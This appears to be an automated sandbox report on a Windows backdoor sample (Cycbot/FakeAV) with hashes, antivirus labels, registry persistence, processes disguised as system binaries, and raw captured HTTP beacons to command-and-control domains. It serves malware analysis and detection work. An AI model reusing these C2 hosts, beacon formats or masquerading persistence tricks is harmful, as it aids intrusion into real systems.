Analysis Date2015-01-17 13:31:30
MD50e06e01881c2aee5bcbea70c38a3df2f
SHA179dba595cbebcf04bedf54c47270e94429d18b2c

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: aa4a978fc1c3d63917380ba5e62d4d8d sha1: d4265977982241622bb7577201cdeddeb8cf6a52 size: 98304
Section.rdata md5: 9e7f60b13e97574b8f0303d0c61e0cab sha1: d737fda39d4e384968bf017b46daf3890b6a30a8 size: 1536
Section.data md5: a753b327f3452743803db7d8c4a2621f sha1: 1f07c7b219ae657bee14febea338c4cd61fb3f84 size: 76288
Section.reloc md5: cdfd47371472cd6a847362a4ac3844fd sha1: 40ede88cf71556d3d351397fceb2ac279a14011b size: 1024
Timestamp2005-10-27 02:00:04
PEhashab8beb0571bb68083a68f8552d5998658b027a8d
IMPhash6abecfbe600fffc8319fb41ae2f2c83b
AV360 Safeno_virus
AVAd-AwareGen:Heur.Conjar.5
AVAlwil (avast)Cybota [Trj]
AVArcabit (arcavir)Gen:Heur.Conjar.5
AVAuthentiumW32/Goolbot.K.gen!Eldorado
AVAvira (antivir)TR/Crypt.ZPACK.Gen
AVBullGuardGen:Heur.Conjar.5
AVCA (E-Trust Ino)Win32/FraudSecurity.B!generic
AVCAT (quickheal)Backdoor.Cycbot.B
AVClamAVTrojan.Gbot-466
AVDr. WebBackDoor.Gbot.69
AVEmsisoftGen:Heur.Conjar.5
AVEset (nod32)Win32/Kryptik.TLP
AVFortinetW32/FakeAV.ISS!tr
AVFrisk (f-prot)W32/Goolbot.K.gen!Eldorado
AVF-SecureRogue:W32/OpenCloud.A
AVGrisoft (avg)Win32/DH.FF8203A7{Mw}
AVIkarusTrojan.Win32.FakeAV
AVK7Backdoor ( 003210941 )
AVKasperskyTrojan.Win32.FakeAV.iije
AVMalwareBytesBackdoor.Bot
AVMcafeeBackDoor-EXI.gen.s
AVMicrosoft Security EssentialsBackdoor:Win32/Cycbot.G
AVMicroWorld (escan)Gen:Heur.Conjar.5
AVRisingBackdoor.Win32.Cycbot.a
AVSophosMal/FakeAV-IS
AVSymantecTrojan.Gen.2
AVTrend MicroBKDR_CYCBOT.SME3
AVVirusBlokAda (vba32)Trojan.FakeAV

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
1
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\conhost ➝
C:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Application Data\75DE.FFC
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe
Creates Mutex{A5B35993-9674-43cd-8AC7-5BC5013E617B}
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutex{61B98B86-5F44-42b3-BCA1-33904B067B81}
Creates Mutex{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex{B5B35993-9674-43cd-8AC7-5BC5013E617B}
Creates Mutex{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
Creates Mutex{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutex{6988405C-71C3-427c-975A-0398706E79EE}
Winsock DNSfreshmediaportal.com
Winsock DNSworldmotoblo.com
Winsock DNS127.0.0.1
Winsock DNSrealsoftwaredevelopment.com

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp

Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data

Creates ProcessC:\Documents and Settings\Administrator\Application Data\dwm.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\dwm.exe

Network Details:

DNSrealsoftwaredevelopment.com
Type: A
104.28.8.83
DNSrealsoftwaredevelopment.com
Type: A
104.28.9.83
DNSzonedg.com
Type: A
141.8.225.80
DNSfastblogportal.com
Type: A
DNSfreshmediaportal.com
Type: A
DNSworldmotoblo.com
Type: A
HTTP GEThttp://realsoftwaredevelopment.com/WindowsLiveWriter/web-2_0_thumb_1.gif?v32=19&tq=gKZEtzykYW8XOF8zn19%2Bg9MfUd1CNH2%2Baf01hAt83%2Fu8uzGYu16RIk6mGsU%2FHIoLKGcpILREHWVDsJagRlmWXVNB9udBy1YfohnzqjMFvkZyvOfR1NqX2Xr4hp2P3UuAd59cwRIEYwhSgK%2F0E2saMy%2BTZnIy%2BvR3RVGrBcrMpCXqmFhRmnWoCutZOw8zuNrMr9pqGMfkLiiEqItwDoOJAUfUnK4Yv3jGT5RfmpLTmZqmTaLYCC%2BFts%2BKN%2Fmpr0hvzSjUK8WihuYZKEjTL8Mkx8xEnXtwHMNNwPIPZNqZlqSl3NdnHeit2OgKeY0zuHQp15oZ8iuAZTBSB9hdexnphpzkaMl7GuQLoWr5bFKem0NoRcY937DhdWSZC6nQ3I27xx65d9m9zSfuO
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yvUq%2F3vleWbkY%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B82uYvEaS%2FT%2BsqxSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yjYvEaSPT%2BsqtSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8OoYvEaSPT%2BsqlSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yvUq%2F3vleWbkY%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B82uYvEaSPT%2BsqNSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8CiYvEaSvT%2Bsqpi8RpL6fhSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
Flows TCP192.168.1.1:1032 ➝ 104.28.8.83:80
Flows TCP192.168.1.1:1033 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1034 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1035 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1036 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1037 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1038 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1039 ➝ 141.8.225.80:80

Raw Pcap
0x00000000 (00000)   47455420 2f57696e 646f7773 4c697665   GET /WindowsLive
0x00000010 (00016)   57726974 65722f77 65622d32 5f305f74   Writer/web-2_0_t
0x00000020 (00032)   68756d62 5f312e67 69663f76 33323d31   humb_1.gif?v32=1
0x00000030 (00048)   39267471 3d674b5a 45747a79 6b595738   9&tq=gKZEtzykYW8
0x00000040 (00064)   584f4638 7a6e3139 25324267 394d6655   XOF8zn19%2Bg9MfU
0x00000050 (00080)   6431434e 48322532 42616630 31684174   d1CNH2%2Baf01hAt
0x00000060 (00096)   38332532 46753875 7a475975 31365249   83%2Fu8uzGYu16RI
0x00000070 (00112)   6b366d47 73552532 4648496f 4c4b4763   k6mGsU%2FHIoLKGc
0x00000080 (00128)   70494c52 45485756 44734a61 67526c6d   pILREHWVDsJagRlm
0x00000090 (00144)   5758564e 42397564 42793159 666f686e   WXVNB9udBy1Yfohn
0x000000a0 (00160)   7a716a4d 46766b5a 79764f66 52314e71   zqjMFvkZyvOfR1Nq
0x000000b0 (00176)   58325872 34687032 50335575 41643539   X2Xr4hp2P3UuAd59
0x000000c0 (00192)   63775249 45597768 53674b25 32463045   cwRIEYwhSgK%2F0E
0x000000d0 (00208)   3273614d 79253242 545a6e49 79253242   2saMy%2BTZnIy%2B
0x000000e0 (00224)   76523352 56477242 63724d70 4358716d   vR3RVGrBcrMpCXqm
0x000000f0 (00240)   4668526d 6e576f43 75745a4f 77387a75   FhRmnWoCutZOw8zu
0x00000100 (00256)   4e724d72 39707147 4d666b4c 69694571   NrMr9pqGMfkLiiEq
0x00000110 (00272)   49747744 6f4f4a41 5566556e 4b345976   ItwDoOJAUfUnK4Yv
0x00000120 (00288)   336a4754 3552666d 704c546d 5a716d54   3jGT5RfmpLTmZqmT
0x00000130 (00304)   614c5943 43253242 46747325 32424b4e   aLYCC%2BFts%2BKN
0x00000140 (00320)   2532466d 70723068 767a536a 554b3857   %2Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 79765571 25324633   OQij%2B8yvUq%2F3
0x000000c0 (00192)   766c6557 626b5925 33442048 5454502f   vleWbkY%3D HTTP/
0x000000d0 (00208)   312e310d 0a486f73 743a207a 6f6e6564   1.1..Host: zoned
0x000000e0 (00224)   672e636f 6d0d0a55 7365722d 4167656e   g.com..User-Agen
0x000000f0 (00240)   743a206d 6f7a696c 6c612f32 2e300d0a   t: mozilla/2.0..
0x00000100 (00256)   436f6e74 656e742d 4c656e67 74683a20   Content-Length: 
0x00000110 (00272)   300d0a43 6f6e6e65 6374696f 6e3a2063   0..Connection: c
0x00000120 (00288)   6c6f7365 0d0a0d0a 704c546d 5a716d54   lose....pLTmZqmT
0x00000130 (00304)   614c5943 43253242 46747325 32424b4e   aLYCC%2BFts%2BKN
0x00000140 (00320)   2532466d 70723068 767a536a 554b3857   %2Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 32755976 45615325   OQij%2B82uYvEaS%
0x000000c0 (00192)   32465425 32427371 78537225 32466525   2FT%2BsqxSr%2Fe%
0x000000d0 (00208)   32425635 5a755267 25334425 33442048   2BV5ZuRg%3D%3D H
0x000000e0 (00224)   5454502f 312e310d 0a486f73 743a207a   TTP/1.1..Host: z
0x000000f0 (00240)   6f6e6564 672e636f 6d0d0a55 7365722d   onedg.com..User-
0x00000100 (00256)   4167656e 743a206d 6f7a696c 6c612f32   Agent: mozilla/2
0x00000110 (00272)   2e300d0a 436f6e74 656e742d 4c656e67   .0..Content-Leng
0x00000120 (00288)   74683a20 300d0a43 6f6e6e65 6374696f   th: 0..Connectio
0x00000130 (00304)   6e3a2063 6c6f7365 0d0a0d0a            n: close....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 796a5976 45615350   OQij%2B8yjYvEaSP
0x000000c0 (00192)   54253242 73717453 72253246 65253242   T%2BsqtSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a7325 32424b4e    close....s%2BKN
0x00000140 (00320)   2532466d 70723068 767a536a 554b3857   %2Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 4f6f5976 45615350   OQij%2B8OoYvEaSP
0x000000c0 (00192)   54253242 73716c53 72253246 65253242   T%2BsqlSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a7325 32424b4e    close....s%2BKN
0x00000140 (00320)   2532466d 70723068 767a536a 554b3857   %2Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 79765571 25324633   OQij%2B8yvUq%2F3
0x000000c0 (00192)   766c6557 626b5925 33442048 5454502f   vleWbkY%3D HTTP/
0x000000d0 (00208)   312e310d 0a486f73 743a207a 6f6e6564   1.1..Host: zoned
0x000000e0 (00224)   672e636f 6d0d0a55 7365722d 4167656e   g.com..User-Agen
0x000000f0 (00240)   743a206d 6f7a696c 6c612f32 2e300d0a   t: mozilla/2.0..
0x00000100 (00256)   436f6e74 656e742d 4c656e67 74683a20   Content-Length: 
0x00000110 (00272)   300d0a43 6f6e6e65 6374696f 6e3a2063   0..Connection: c
0x00000120 (00288)   6c6f7365 0d0a0d0a 6e656374 696f6e3a   lose....nection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a7325 32424b4e    close....s%2BKN
0x00000140 (00320)   2532466d 70723068 767a536a 554b3857   %2Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 32755976 45615350   OQij%2B82uYvEaSP
0x000000c0 (00192)   54253242 73714e53 72253246 65253242   T%2BsqNSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
